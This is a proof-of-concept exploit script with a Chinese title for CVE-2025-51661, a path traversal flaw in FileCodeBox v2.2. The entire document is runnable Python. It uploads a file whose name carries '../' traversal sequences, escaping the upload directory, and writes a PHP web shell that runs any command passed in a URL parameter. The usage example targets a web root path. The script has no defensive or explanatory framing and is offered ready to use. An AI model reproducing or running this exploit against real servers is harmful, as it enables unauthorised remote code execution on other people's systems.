CVE-2025-51661 FileCodeBox路径遍历导致任意文件写入漏洞

import requests import sys # CVE-2025-51661 PoC - Path Traversal leading to Arbitrary File Write in FileCodeBox v2.2 # Target: FileCodeBox with local filesystem storage configuration def exploit(target_url, file_content, target_path): """ Exploit path traversal vulnerability to write arbitrary files Args: target_url: Base URL of the vulnerable FileCodeBox instance file_content: Content to write to the target file target_path: Path where the file should be written (use ../ for traversal) Returns: bool: True if exploitation appears successful, False otherwise """ upload_url = f"{target_url.rstrip('/')}/share/file/" # Prepare the malicious filename with path traversal sequence # This will escape the intended upload directory malicious_filename = f"../../../{target_path}" # Prepare multipart form data files = { 'file': (malicious_filename, file_content, 'text/plain') } try: # Send the malicious upload request response = requests.post(upload_url, files=files, timeout=10) # Check if the upload was successful if response.status_code == 200: print(f"[+] File upload request sent successfully") print(f"[+] Target path: {target_path}") print(f"[+] Response: {response.text[:200]}") return True else: print(f"[-] Upload failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve_2025_51661_poc.py <target_url> <target_path>") print("Example: python cve_2025_51661_poc.py http://localhost:8000 var/www/html/shell.php") sys.exit(1) target = sys.argv[1] path = sys.argv[2] # Malicious content to write content = "<?php system($_GET['cmd']); ?>" print(f"[*] Exploiting CVE-2025-51661: FileCodeBox Path Traversal") print(f"[*] Target: {target}") print(f"[*] Writing to: {path}") exploit(target, content, path)